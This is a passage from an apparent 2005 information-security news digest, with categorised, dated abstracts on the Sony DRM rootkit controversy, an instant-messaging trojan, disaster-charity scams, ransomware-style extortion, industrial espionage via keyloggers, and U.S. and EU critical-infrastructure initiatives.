The outcry was so great that on Nov. 11, Sony announced it was temporarily halting production of that copy-protection scheme. That still wasn't enough -- on Nov. 14 the company announced it was pulling copy-protected CDs from store shelves and offered to replace customers' infected CDs for free....

[The text above is the start of Bruce Schneier's analysis of the implications of the SONY DRM rootkit case -- more in the entry specifically about his analysis on 17 Nov 2005.]

<i>Category</i>	<i>14.4</i>	<i>Trojans & rootkits</i>
2005-11-17		digital rights management DRM SONY CD-ROM rootkit Trojan copyright protection malware malicious software collusion antivirus incompetence failure false negative

Schneir On Security;
http://www.schneier.com/blog/archives/2005/11/sonys_drm_rootk.html

24 09

SCHNEIER BLASTS INDUSTRY COLLUSION FOR TOLERATING SONY DRM ROOTKIT

In a blistering analysis of the SONY DRM rootkit debacle, security guru Bruce Schneier attacked big antivirus makers Symantec and McAfee and industry giant Microsoft for tolerating the rootkit since mid-2004. The fundamental problem is collusion:

>The story to pay attention to here is the collusion between big media companies who try to control what we do on our computers and computer-security companies who are supposed to be protecting us.

Initial estimates are that more than half a million computers worldwide are infected with this Sony rootkit. Those are amazing infection numbers, making this one of the most serious internet epidemics of all time -- on a par with worms like Blaster, Slammer, Code Red and Nimda.

What do you think of your antivirus company, the one that didn't notice Sony's rootkit as it infected half a million computers? And this isn't one of those lightning-fast internet worms; this one has been spreading since mid-2004. Because it spread through infected CDs, not through internet connections, they didn't notice? This is exactly the kind of thing we're paying those companies to detect -- especially because the rootkit was phoning home.

But much worse than not detecting it before Russinovich's discovery was the deafening silence that followed. When a new piece of malware is found, security companies fall over themselves to clean our computers and inoculate our networks. Not in this case.

McAfee didn't add detection code until Nov. 9, and as of Nov. 15 it doesn't remove the rootkit, only the cloaking device. The company admits on its web page that this is a lousy compromise. "McAfee detects, removes and prevents reinstallation of XCP." That's the cloaking code. "Please note that removal will not impair the copyright-protection mechanisms installed from the CD. There have been reports of system crashes possibly resulting from uninstalling XCP." Thanks for the warning.

Symantec's response to the rootkit has, to put it kindly, evolved. At first the company didn't consider XCP malware at all. It wasn't until Nov. 11 that Symantec posted a tool to remove the cloaking. As of Nov. 15, it is still wishy-washy about it, explaining that "this rootkit was designed to hide a legitimate application, but it can be used to hide other objects, including malicious software."

The only thing that makes this rootkit legitimate is that a multinational corporation put it on your computer, not a criminal organization.

You might expect Microsoft to be the first company to condemn this rootkit. After all, XCP corrupts Windows' internals in a pretty nasty way. It's the sort of behavior that could easily lead to system crashes -- crashes that customers would blame on Microsoft. But it wasn't until Nov. 13, when public pressure was just too great to ignore, that Microsoft announced it would update its security tools to detect and remove the cloaking portion of the rootkit.

Perhaps the only security company that deserves praise is F-Secure, the first and the loudest critic of Sony's actions. And Sysinternals, of course, which hosts Russinovich's blog and brought this to light.

Bad security happens. It always has and it always will. And companies do stupid things; always have and always will. But the reason we buy security products from Symantec, McAfee and others is to protect us from bad security.

I truly believed that even in the biggest and most-corporate security company there are people with hackerish instincts, people who will do the right thing and blow the whistle. That all the big security companies, with over a year's lead time, would fail to notice or do anything about this Sony rootkit demonstrates incompetence at best, and lousy ethics at worst.

Microsoft I can understand. The company is a fan of invasive copy protection -- it's being built into the next version of Windows. Microsoft is trying to work with media companies like Sony, hoping Windows becomes the media-distribution channel of choice. And Microsoft is known for watching out for its business interests at the expense of those of its customers.

What happens when the creators of malware collude with the very companies we hire to protect us from that malware?

We users lose, that's what happens. A dangerous and damaging rootkit gets introduced into the wild, and half a million computers get infected before anyone does anything.

Who are the security companies really working for? It's unlikely that this Sony rootkit is the only example of a media company using this technology. Which security company has engineers looking for the others who might be doing it? And what will they do if they find one? What will they do the next time some multinational company decides that owning your computers is a good idea?

These questions are the real story, and we all deserve answers.<

Category 14.4

Trojans & rootkits

2005-12-27

**Windows Live Messenger Trojan ignore message alternate link download file
machine botnet hacker malicious spam security software blocks access vendors
hijacking contact names**

DHS IAIP Daily;

[http://www.crn.com/sections/breakingnews/breakingnews.jhtml?
articleId=175700348](http://www.crn.com/sections/breakingnews/breakingnews.jhtml?articleId=175700348)

'Leaked' Windows Live Messenger really a Trojan.

F-Secure told users to ignore instant messages with the subject head "MSN Messenger 8 Working BETA" that go on to claim that "Messenger 8 BETA has been leaked!" The message, which refers to an alternate name for the upcoming Live Messenger, also contains a link. Users who click on the link, then download and run the executable file, are in reality installing the Virkel.f Trojan. Virkel.f adds the compromised machine to a botnet, from which the hacker can update the Trojan with additional malicious code, to make the PC into a spam zombie or along with others, launch a denial-of-service attack on Websites. Virkel.f also shuts down anti-virus and security software, and blocks access to sites that belong to security vendors. This bot worm spreads by hijacking IM contact names from an infected computer, then spiking those names with new messages about the "leaked" client.

15.1 Fraud

Category 15.1 Fraud

2005-01-06 **tsunami fraud Internet relief charity scam disaster relief**

NewsScan;
<http://www.nytimes.com/2005/01/06/international/worldspecial4/06fbi.html?oref=login>

BEWARE TSUNAMI INTERNET FRAUDS

The FBI has issued a warning about online frauds that try to capitalize on the recent tsunami disaster by offering to help tsunami victims or relatives for a fee. Audri Lamford of ScamBusters.org comments: "Within hours of 9/11 we had the 9/11 scams. We've seen them for every major disaster." (New York Times 6 Jan 2005)

Category 15.1 Fraud

2005-04-08 **fraud indictments E-Rate program NEC Justice Department**

EDUPAGE; <http://online.wsj.com/article/0,,SB111292755907301701,00.html>

E-RATE INDICTMENTS HANDED DOWN

Six companies and five individuals have been indicted on charges of fraud in the federal E-Rate program, which was instituted to provide funds to connect public schools and libraries to the Internet. A year ago, a subsidiary of NEC admitted defrauding the program and settled with prosecutors for \$20.7 million. Those indicted this week were charged with fraud, collusion, and rigging bids. According to the Justice Department, the accused misrepresented financial terms of E-Rate projects to school administrators and colluded on pricing and terms of government contracts. The violations are said to have taken place in seven states, though all but one defendant are based in California. The individuals charged face up to five years in prison, and the indicted companies could be fined as much as \$10 million. Wall Street Journal, 8 April 2005 (sub. req'd)

Category 15.1 Fraud

2005-05-11 **NCAA online course cheating fraud student athletes Nicholls State University Louisiana**

EDUPAGE; <http://www.insidehighered.com/news/2005/05/11/nicholls>

NCAA FINDS ONLINE COURSE FRAUD

An investigation of student athletes at Nicholls State University in Louisiana has revealed that students and university staff had engaged in "gross academic fraud" by fraudulently completing online courses to preserve the students' eligibility for sports. The university's registrar discovered the fraud after noticing that many student athletes were completing online courses from Brigham Young University (BYU), often with much higher grades than for classes they took at Nicholls. As it turned out, two coaches and an academic adviser were giving students answers for the courses and in some cases serving as proctors for the students' tests. The National Collegiate Athletic Association (NCAA) confirmed the fraud and imposed penalties on the school's athletic programs, but the episode has raised a red flag about the potential for similar abuse of online programs. "There appeared generally not to be sufficient monitoring either by BYU or ... by Nicholls State," according to Josephine Potuto, member of the NCAA panel that conducted the investigation. A statement from the panel noted, "This case illustrates the ease with which individuals can manipulate and then breach security protocols for online correspondence courses." Inside Higher Ed, 11 May 2005

Category 15.1 Fraud

2005-09-08 **hurricane Katrina disaster fraud scam FBI warning Internet sites Task Force**

DHS IAIP Daily; <http://www.msnbc.msn.com/id/9229950/>

KATRINA NET SCAMS MULTIPLYING, FBI WARNS

There has been a significant increase in Internet sites purporting to be charities related to Hurricane Katrina. FBI assistant director Louis M. Reigel stated there were roughly 2,300 Katrina-related sites by midday Thursday. As of last week the FBI had received 250 complaints at its Internet complaint center about hurricane-related charities. Due to this the Justice Department has established a Hurricane Katrina Fraud Task Force that will focus on phony charities, identity theft, insurance scams and government benefit fraud.

Category 15.1 Fraud

2005-11-03 **hacker fraud botnet software computer compromise lawsuit**

DHS IAIP Daily; <http://www.securityfocus.com/news/11353>

MAN ACCUSED OF SELLING BOT SOFTWARE TO COMPROMISE COMPUTERS

Federal authorities have arrested an accused man of creating bot software to compromise nearly 400,000 Windows computers and then using his control of the systems to garner more than \$60,000 in profits. James Aquilina, Assistant U.S. Attorney for the Central District of California and the prosecutor on the case stated, "This is the first case to charge someone for using bots for generating profits. On the one hand, he is selling bots to other people so that they can (perform) denial-of-service attacks and spam to make money. And on the other hand, he is using bots to make affiliate income." Over nearly a year, the man allegedly used automated software to infect Windows systems, advertised and sold access to the compromised PCs, and used the software to perpetrate click fraud, garnering tens of thousands of dollars in affiliate fees.

15.2 Extortion

<i>Category</i>	15.2	<i>Extortion</i>			
2005-01-18		scam fraud extortion anonymity Web			
RISKS			23		69
PAY FOR... WHAT?					

In an obvious extortion scam, "unsafedriver.com" allows anonymous posters to file unsubstantiated, untraceable complaints about vehicles being driven unsafely -- free! However, to find out whether you have been accused of bad driving, you have to pay \$25 for the first vehicle registration and \$15 for other vehicles to be able to locate possible libel, prevent the records from being made public, or attach protests to accusations. As RISKS correspondent Dawn Cohen wrote, "This smells like a scam to me, but I'm surprised that it would be perpetuated by a source as reputable as USA Today. If it's not a scam, it's an outrage."

<i>Category</i>	15.2	<i>Extortion</i>			
2005-10-05		VNUneet encryption attack hackers data PC key Internet Explorer malware Trojan			
DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2143265/web-attack-extorts-encryption					
WEB ATTACK EXTORTS BY ENCRYPTION					

Security experts today warned of a newly discovered attack in which hackers encrypt data on a compromised PC and demand payment for the decryption key. These attacks are happening when a user with an improperly patched version of Internet Explorer visits a webpage containing malware that downloads a Trojan.

16.1 Industrial espionage

Category 16.1

Industrial espionage

2005-01-24

IBM Lenovo China industrial espionage national security

NewsScan; http://news.com.com/IBM-Lenovo+deal+said+to+get+national+security+review/2100-1003_3-5547546.html

IBM'S PC BUSINESS SALE RAISES RED FLAG ON NATIONAL SECURITY

The U.S. Committee on Foreign Investments, which reviews acquisitions of U.S. businesses by foreign firms, says it's concerned that IBM's sale of its PC business to China's Lenovo Group could open the door for industrial espionage. The committee is composed of 11 U.S. government agencies, including the departments of Justice and the Treasury. The \$1.75-billion deal has already passed the antitrust scrutiny of the Federal Trade Commission, which said it would not raise objections based on how the sale might affect competition in the market. The IBM-Lenovo transaction is the biggest PC industry deal since Hewlett-Packard acquired Compaq in May 2002, and would result in Lenovo becoming the third largest PC maker in the world, after Dell and HP. (CNet News.com 24 Jan 2005)

Category 16.1 Industrial espionage
2005-06-01 **industrial espionage Trojan horse spyware police investigation arrests harassment data theft copyright violation intellectual property social engineering keystroke logging remote control jail house arrest**

CNN; <http://www.cnn.com/2005/TECH/06/01/israel.computer.breakin.ap/>

TROJAN HORSE SCANDAL IN ISRAEL

Israeli author Amon Jackont was upset to find parts of the manuscript on which he was working posted on the Internet. Then someone tried to steal money from his bank account. Suspicion fell on his stepdaughter's ex-husband, Michael Haephrati.

Police discovered a keystroke logger on Jackont's computer. Turned out Haephrati had also sold spy software to clients; the Trojan was concealed in what appeared to be confidential e-mail. Once installed on the victims' computers, the software sent surveillance data to a server in London, England. Haephrati was detained by UK police and investigations were underway in Germany and Israel. Twelve people were in jail in Israel; eight others were under house arrest. Suspects included private investigators and top executives from industrial firms. Victims included Hewlett-Packard, the Ace hardware stores, and a cable-communications company.

[Abstract by MK]

EXTENSIVE INDUSTRIAL ESPIONAGE CASE IN ISRAEL

A large scale industrial espionage case unfolded in Israel.... A hacker had developed a Trojan horse application and sold it to several private eye companies -- it seems the Trojan was used for keyboard sniffing as well as file transfer. The private eyes' clients chose the targeted victims, and the Trojan was sent there by e-mail or posted CD, masquerading as legitimate business presentation.

The collected info was transferred from the victims' computers into an FTP server site (it's not clear if this site was maintained by the private eyes or the hacker) to which access was sold to the clients in the form of one-time passwords at 2000 Euro per entry.

It seems none of the targeted systems was hardened in any way to detect such an intrusion, and the scheme was discovered only because the hacker had posted some of the illegally obtained items over the net.

[Abstract by Amos Shapir]

In RISKS 23.89, Gadi Evron contributed some follow-up information that included these comments:

>... Apart from the technical side of this attack and the extreme wide-scale of it, another interesting aspect is the use of social engineering.

In one description, I heard that a woman called a certain individual at one of the companies with a business offer, and later sent him a presentation via e-mail. When that presentation did not work, she proceeded to send him a CD, which did not work either....

This is not the first time this happened, and not the first time we've seen industrial espionage in IL, or private investigator companies developing their technological and operational capabilities. I've personally been approached about such a job twice in the past 2 years.<

Category 16.1 Industrial espionage
2005-06-20 **information warfare China Asia cyber-conflict economic harm costs industrial espionage**

RISKS

23

91

ASIAN HACKERS BLAMED FOR ATTACKS ON U.K., U.S. COMPUTER NETWORKS

A U.K.'s National Infrastructure Security Coordination Center (NISCC) report says unidentified hackers from Asia have been launching a wave of attacks on government and corporate computer systems in the U.S., Canada, and the U.K. in an effort to steal sensitive commercially and economically valuable information.

[Abstract by Peter G. Neumann]

16.2 Industrial information systems sabotage

Category 16.2

Industrial information systems sabotage

2005-02-17

VoIP voice over IP FCC phone company antitrust Colorado investigation denial-of-service DoS information warfare competition

NewsScan; <http://www.wsj.com/>

PHONE COMPANY SUSPECTED OF BLOCKING VOIP CALLS

The FCC's investigating whether a rural phone company blocked access to the Vonage Internet-phone service, which was competing for the phone company's customers. The company has not been identified. The problem became public several days ago when Larry Lessig, a professor at Stanford Law School and an advocate of Internet freedom, mentioned Vonage's problem at an industry conference in Boulder, Colorado. Shutting off a potential competitor could violate antitrust laws barring companies that control essential facilities from refusing to give competitors the access needed to compete. (Wall Street Journal 17 Feb 2005)

Category 16.2

Industrial information systems sabotage

2005-05-17

study Department Homeland Security revenge reason computer sabotage sociological psychological factors

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=163104819>

DHS STUDY: REVENGE IS OFTEN THE REASON FOR COMPUTER SABOTAGE

Corporate insiders who sabotage computers so sensitive they risk endangering national security or the economy commonly are motivated by revenge against their bosses, according to a Department of Homeland Security (DHS) funded study released Monday, May 16. The study, conducted by the U.S. Secret Service and the U.S.-funded CERT Coordination Center at Carnegie Mellon University, examined dozens of computer-sabotage cases over six years to determine what motivates trusted insiders to attack and how their actions damage the country's most sensitive networks and data. The review described most attackers as disgruntled workers or former employees--typically working in technology departments--who were angry over disciplinary actions, missed promotions, or layoffs. The attacks included deleting vital software or data, posting pornography on an employer's Website, or crippling whole networks. The study said most saboteurs showed troubling signs before the attacks: truancy, tardiness, arguments with co-workers, or shoddy performance. Nearly all the employees took some steps to conceal their identities online as they plotted their attacks. All the attacks studied occurred between 1996 and 2002. The study said it did not examine insider attacks where employees sought to steal information to sell for profit or blackmail. Report: <http://www.cert.org/archive/pdf/insidercross051105.pdf>

16.3 Infrastructure protection & homeland security

Category 16.3

Infrastructure protection & homeland security

2005-01-07

Feds national plan DHS Homeland Security government state local tribal private emergency prevention response recovery

EDUPAGE; <http://www.fcw.com/fcw/articles/2005/0103/web-response-01-06-05.asp>

FEDS LAUNCH NATIONAL RESPONSE PLAN

The Department of Homeland Security has released a plan that directs how the federal government is to work with state, local, and tribal governments, as well as with the private sector, in the event of a national emergency. The National Response Plan is rooted in the National Incident Management System, which is currently under development by the Federal Emergency Management Agency and is expected to be complete by the end of fiscal 2007. The National Response Plan establishes standards for training and organization. In addition, it outlines protocols for handling incidents that span various jurisdictions, with the goal of helping officials at all levels of government better coordinate their responses despite widely varying technologies used in prevention, response, and recovery efforts.

Category 16.3

Infrastructure protection & homeland security

2005-02-02

Department of Homeland Security DHS privacy office first report Congress biometric sensor network technology

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0131/web-dhs-02-02-05.asp>

DEPARTMENT OF HOMELAND SECURITY PRIVACY OFFICE ISSUES FIRST ANNUAL REPORT

Department of Homeland Security (DHS) officials on Wednesday, February 2, released DHS' first annual privacy report to Congress, outlining work done in numerous areas, including technology. A primary goal of the department's privacy office, which is the first Congressionally mandated one for a federal agency, is ensuring that technologies sustain "privacy protections relating to the use, collection, and disclosure of personal information," according to the 112-page report. The office is examining use of biometric technology, radio frequency identification devices, data mining, and distributed data environments -- where data is shared with users, but remains with the owner. The privacy office is also considering the effect of emerging technologies, including geospatial information systems and services, unmanned aerial vehicles, and ubiquitous sensor networks, which may potentially raise separate privacy protection concerns, according to the report. Report: http://www.dhs.gov/dhspublic/interweb/assetlibrary/privacy_a nnualrpt_2004.pdf

Category 16.3

Infrastructure protection & homeland security

2005-02-18

Department Homeland Security DHS regional technology initiative Seattle local government cybersecurity readiness

DHS IAIP Daily; <http://www.dhs.gov/dhspublic/display?content=4362>

HOMELAND SECURITY LAUNCHES REGIONAL TECHNOLOGY INTEGRATION INITIATIVE IN SEATTLE

The Department of Homeland Security on Friday, February 18, announced the addition of a new urban area to its Regional Technology Integration (RTI) initiative, which focuses on speeding the effective integration of innovative technologies and organizational concepts to the homeland security efforts of regional, state, and local jurisdictions. Through the program, managed by Homeland Security's Science & Technology directorate, four urban areas across the country have now been announced as the initial pilot locations for this program. The Seattle, Washington urban area joins Memphis, Tennessee; Anaheim, California; and Cincinnati, Ohio, as the pilot locations. These initial locations will provide the science and technology community with a realistic environment to test maturing hardware and concepts. The program will also provide information on how best to choose, deploy, and manage these technologies to strengthen the security posture of these and other communities. The goal of Homeland Security's Regional Technology Integration initiative is to facilitate the successful transfer and integration of existing and advanced homeland security technology systems to local governments in order to improve their preparedness and response.

Category 16.3 Infrastructure protection & homeland security
2005-02-22 **federal government preparedness exercise Department of Homeland Security DHS RSA conference San Francisco**

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0221/web-cyber-02-22-05.asp>

FEDERAL GOVERNMENT TO HOLD CYBER PREPAREDNESS EXERCISE

The federal government and several international partners will hold a cyber preparedness exercise in November, Department of Homeland Security (DHS) officials said at the RSA Conference in San Francisco last week. Its purpose is to give federal agencies an opportunity to test their plans for responding to a direct or indirect attack on the computer networks that control the nation's critical infrastructure such as power plants and oil pipelines. The exercise will be unclassified, and the public will be informed, said Hun Kim, deputy director of the National Cyber Security Division at DHS. The RSA Conference brings together IT professionals from industry, academia, and government to share information and exchange ideas on technology trends and best practices in IT security.

Category 16.3 Infrastructure protection & homeland security
2005-03-01 **Department Homeland Security DHS Justice DoJ Extensible Markup Language XML information exchange sharing Collaboration on Objects for Reuse and Exchange**

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0228/web-dhsdoj-03-01-05.asp>

DEPARTMENTS OF HOMELAND SECURITY AND JUSTICE WORK ON XML MODEL TO HELP SHARE INFORMATION

Department of Homeland Security (DHS) and Department of Justice officials have a new partnership to enhance development of an Extensible Markup Language (XML) model that could save federal, state, local and tribal agencies billions of dollars as they improve their computer systems to share information with one another. Officials said this represents a significant step in broadening the use of the Global Justice XML Data Model, which was started about three years ago, across the federal government. It could mean future partnerships with other departments, such as Transportation and Health and Human Services, and the intelligence community, which used the model as the basis for a schema to share the terrorism watch list. XML is essentially an open standard or translator that systems can use to communicate with one another. Development of the core model would ensure long-term stability of the model and ensure that early efforts in its use are not wasted. The information-sharing initiative is called the Collaboration on Objects for Reuse and Exchange.

Category 16.3 *Infrastructure protection & homeland security*
2005-03-18 **cybersecurity report prioritization government advisory committee vulnerabilities recommendations**

RISKS; <http://www.nitrd.gov/pubs/>

23 81

PRESIDENT'S INFORMATION TECHNOLOGY ADVISORY COMMITTEE RELEASES NEW REPORT -- CYBER SECURITY: A CRISIS OF PRIORITIZATION

Vital to the Nation's security and everyday life, the information technology (IT) infrastructure of the United States is highly vulnerable to disruptive domestic and international attacks, the President's Information Technology Advisory Committee (PITAC) argues in a new report. While existing technologies can address some IT security vulnerabilities, fundamentally new approaches are needed to address the more serious structural weaknesses of the IT infrastructure.

In Cyber Security: A Crisis of Prioritization, PITAC presents four key findings and recommendations on how the Federal government can foster new architectures and technologies to secure the Nation's IT infrastructure. PITAC urges the Government to significantly increase support for fundamental research in civilian cyber security in 10 priority areas; intensify Federal efforts to promote the recruitment and retention of cyber security researchers and students at research universities; increase support for the rapid transfer of Federally developed cyber security technologies to the private sector; and strengthen the coordination of Federal cyber security R&D activities.

To request a copy of this report, please complete the form at <http://www.nitrd.gov/pubs/>, send an e-mail to nco@nitrd.gov, or call the National Coordination Office for Information Technology Research and Development at (703) 292-4873. Cyber Security: A Crisis of Prioritization can also be downloaded as a PDF file by accessing the link at <http://www.nitrd.gov/pubs/>.

About PITAC

The President's Information Technology Advisory Committee (PITAC) is appointed by the President to provide independent expert advice on maintaining America's preeminence in advanced information technology. PITAC members are IT leaders in industry and academia representing the research, education, and library communities, network providers, and critical industries, with expertise relevant to critical elements of the national IT infrastructure such as high-performance computing, large-scale networking, and high-assurance software and systems design. The Committee's studies help guide the Administration's efforts to accelerate the development and adoption of information technologies vital for American prosperity in the 21st century.

Contact: "Alan S. Inouye 1-703-292-4540" <inouye@nitrd.gov>

Category 16.3 *Infrastructure protection & homeland security*
2005-03-21 **IT infrastructure cybersecurity criticism Presidential committee Cyber Security: A Crisis of Polarization report**

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=159903541&t>

PRESIDENTIAL COMMITTEE CRITICIZES IT INFRASTRUCTURE SECURITY

The President's IT Advisory Committee (PITAC) on Friday, March 18, released the results of a report, "Cyber Security: A Crisis Of Prioritization," criticizing the country's IT infrastructure as highly vulnerable to attack by terrorists and cybercriminals. "The IT infrastructure is highly vulnerable to premeditated attacks with potentially catastrophic effects," committee chair Marc Benioff and co-chair Edward Lazowska wrote in a February 28 letter to President Bush. This infrastructure includes the public Internet as well as power grids, air-traffic-control systems, financial systems, and military and intelligence systems, they add. The committee comprised of IT leaders and academia, makes four key recommendations to help curb security exposures and provide long-term IT infrastructure stability: increase federal support for fundamental research in civilian cybersecurity; intensify federal efforts to promote recruitment and retention of cybersecurity researchers and students at research universities; provide increased support for the rapid transfer of federally developed, cutting-edge cybersecurity technologies to the private sector; and, better federal coordination of cybersecurity R&D. Report:

http://www.itrd.gov/pitac/reports/20050301_cybersecurity/cybersecurity.pdf

<i>Category</i>	<i>16.3</i>	<i>Infrastructure protection & homeland security</i>
2005-03-22		British intelligence warning Internet cyber attack UK computer critical infrastructure protection network counter terrorism al Qaeda

DHS IAIP Daily; <http://thescotsman.scotsman.com/index.cfm?id=305582005>

BRITISH INTELLIGENCE WARNS OF POSSIBLE CYBER ATTACK IN UK

International terrorists are training to launch cyber-terror attacks on Britain which could cripple vital economic, medical and transport networks, the government's counter-terrorism coordinator said Monday, March 21. Sir David Omand, one of the most senior members of the British intelligence community, said surveillance of suspected al Qaeda affiliates suggests they are working to use the Internet and other electronic communications systems to cause harm. Intelligence officials say that no matter how much the state does to prepare for cyber-terrorism, a great deal will rest on the willingness of the private sector to "harden" their systems against attack. Britain has not yet experienced genuine acts of cyber-terrorism, but Sir David said intelligence chiefs are in little doubt that the country must be ready for such an attack. The authorities' greatest fears about electronic attacks relate to the more exposed networks that make up what is known as "critical national infrastructure", many of which are in civilian hands. The global nature of the Internet means the threat from cyber-attacks is equally international, forcing British agents to work closely with nations they say they would often regard with suspicion or even hostility.

<i>Category</i>	<i>16.3</i>	<i>Infrastructure protection & homeland security</i>
2005-03-25		data confidentiality government agency homeland security transportation safety agency inspector general audit safeguards failures

RISKS; <http://tinyurl.com/cu56e>

23 81

DHS FAILED TO PROTECT PASSENGER DATA IN TSA'S CAPPSS 2 TESTS

Richard M. Smith reported on questionable data safeguards in the DHS:

A new government report says officials in the Department of Homeland Security didn't do enough to keep airline-passenger data secure when using it to test a traveler-screening program. DHS's Inspector General says the Transportation Security Administration gathered 12 million passenger records from February 2002 to June 2003 and used most of them to test the Computer Assisted Passenger Prescreening System, or CAPPSS 2, which was designed to check passenger names against government watch lists. Passengers weren't told their information was being used for testing. TSA officials shelved CAPPSS 2 last year amid complaints it was an invasion of passenger privacy. The agency has replaced it with a similar system, called Secure Flight, which is being tested and is expected to debut in August.

The report raises concerns because Secure Flight ultimately will gather private information, such as names, addresses, travel itineraries and credit-card information, on anyone who takes a domestic flight. That effort could be slowed by a Government Accountability Office study due Monday which is expected to be critical of TSA's efforts to develop passenger-privacy protections.

The report said TSA "did not ensure that privacy protections were in place for all of the passenger data transfers" and noted that "early TSA and [CAPPSS 2] efforts were pursued in an environment of controlled chaos and crisis mode after the Sept. 11 attacks."

Investigators also found TSA provided inaccurate information to the media about the agency's use of real passenger records for CAPPSS 2 testing and wasn't "fully forthcoming" to the agency's own internal privacy officer during an investigation into the matter. "Although we found no evidence of deliberate deception, the evidence of faulty processes is substantial," investigators said.

Category 16.3 *Infrastructure protection & homeland security*
2005-04-04 **cyber terrorism analyst warning counterterrorism national cyber event critical infrastructure InfoSec World 2005 voice over Internet protocol VoIP**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1759,1782286,00.asp>

CYBER-TERRORISM ANALYST WARNS AGAINST COMPLACENCY

Cyber-security and counterterrorism analyst Roger Cressey on Monday, April 4, pleaded with IT executives not to underestimate the threat of "national cyber-event" targeting critical infrastructure in the United States. During a keynote address at the InfoSec World 2005 conference, Cressey warned against discounting the danger of the Internet being used in a terrorist-related attack. "It may not be a terrorist attack, but a cyber-event is a very, very serious possibility. When it happens, it will have serious economic impact on our critical infrastructure." Cressey, who served as chief of staff to the president's Critical Infrastructure Protection Board at the White House, said there was enough evidence that U.S. enemies were actively using the Web to recruit, organize and communicate terrorism activities. Cressey, the on-air counterterrorism analyst for NBC News, said the rapid rate in which Internet security vulnerabilities was being detected only adds to the worry. Cressey used part of his keynote to call on VoIP (Voice over Internet Protocol) developers to put security on the front burner. Describing VoIP security as the great challenge of this decade, he said it would be a "big mistake" for another nascent industry to emerge without built-in protections.

Category 16.3 *Infrastructure protection & homeland security*
2005-04-06 **Department Homeland Security DHS privacy issues briefing personal data theft abuse anti-terrorism**

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=160501384>

COMMITTEE TO INFORM DHS ON PRIVACY ISSUES

A new group of public- and private-sector leaders in academia, business, and technology met Wednesday, April 6, in Washington, DC, to help the Department of Homeland Security (DHS) gain a greater understanding of how IT can be used to fight terrorism without exposing personal data to theft or abuse. The department's Data Privacy and Integrity Advisory Committee launched with a statement of mission and the selection of its inaugural chairman and vice chairwoman. Paul Rosenzweig, the committee's new chairman and a senior legal research fellow at the Heritage Foundation, said that the committee's greatest challenge will be helping the department as a whole focus on preserving individual freedoms while tightening security, and doing this in a public way. The committee will serve to inform DHS about privacy concerns related to all of the department's various agencies and directorates, which protect the nation's borders, waterways, and critical infrastructure. DHS Privacy Office: <http://www.dhs.gov/privacy>

Category 16.3 *Infrastructure protection & homeland security*
2005-04-18 **European Union EU information technology IT critical infrastructure study CI2RCO project national security protection**

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/story/0,10801,101160,00.html>

EU TASK FORCE TO STUDY IT CRITICAL INFRASTRUCTURE

The European Union has set up a task force to explore what its 25 member states are doing to combat cyberthreats against the region's critical infrastructure. As part of the EU's Critical Information Infrastructure Research Coordination (CI2RCO) project, announced Friday, April 15, the task force aims to identify research groups and programs focused on IT security in critical infrastructures, such as telecommunications networks and power grids. "We want to bring together experts across the European Union, learn more about their programs and how we can cooperate in curbing what we view as a global problem," said Paul Friessem, a director at the Fraunhofer Institute for Secure Information Technology (SIT), one of the organizations in the European task force. "We also intend to collaborate with experts outside the EU, in particular in the U.S., Canada, Australia and even possibly Russia." One of the problems facing the task force is convincing parties to divulge information that some governments view as critical to their national security. The task force will also ask the critical infrastructure players about their requirements. The plan is to submit an overview of the situation to the European Commission over the next few months.

Category 16.3

2005-04-20

Infrastructure protection & homeland security

**cyber attack warning center pilot project CIDDAC infrastructure protection
University of Pennsylvania**

DHS IAIP Daily;

http://www.infoworld.com/article/05/04/20/HNcyberpilot_1.htm

CYBER ATTACK EARLY WARNING CENTER BEGINS PILOT PROJECT

A fledgling nonprofit group working to develop an automated cyber-attack early warning system, the Cyber Incident Detection Data Analysis Center (CIDDAC), is about to begin a pilot project to collect data on network intrusions from a group of companies in national-infrastructure industries. Backed by a grant from the Department of Homeland Security, CIDDAC has set up an operations center at the University of Pennsylvania's Institute of Strategic Threat Analysis and Response laboratory. Around 30 organizations will eventually participate in the project, although some are still being selected, according to CIDDAC Executive Director Charles Fleming. He expects to have useful data from the pilot test in about five months. CIDDAC's focus is on linking together organizations in industries such as banking, electrical power, gas and oil, telecommunications and transportation. The center will use a network of sensors, dubbed RCADSs (Real-Time Cyber Attack Detection Sensors), to gather information on intrusions and attempts. CIDDAC will also pass collected information on to law enforcement agencies, but Fleming emphasized that serving private-sector alert needs is the group's priority. CIDDAC Website:
<http://www.ciddac.org/>

Category 16.3

2005-04-21

Infrastructure protection & homeland security

**DHS program University of Pennsylvania cyberattack study Cyber Incident
Detection Analysis Center**

EDUPAGE; <http://chronicle.com/prm/daily/2005/04/2005042101t.htm>

PENN TO HEAD STUDY OF CYBERATTACKS

A new program sponsored by the Department of Homeland Security will attempt to collect real-time data on cyberattacks in the private sector, with the goal of using such data to prevent future attacks. Led by the University of Pennsylvania, the Cyber Incident Detection Analysis Center will install monitors on corporate networks. In the event of an attack on the network, the monitors, which will cost companies \$10,000 annually, will transmit data to the Institute for Strategic Threat Analysis and Response at the university, where it will be analyzed and made available to researchers at other institutions. Those with access to the data will not be able to see which company it came from, and researchers will not be directly involved in prosecuting individuals responsible for cyberattacks. Charles Fleming, executive director of the center, said a pilot program will be carried out before the monitors become widely available. Chronicle of Higher Education, 21 April 2005 (sub. req'd)

Category 16.3

2005-04-28

Infrastructure protection & homeland security

microchip industry protection outsourcing security concern

DHS IAIP Daily;

http://www.infoworld.com/article/05/04/28/HNmicrochip_1.html

U.S. SEEKS GREATER MICROCHIP INDUSTRY PROTECTION

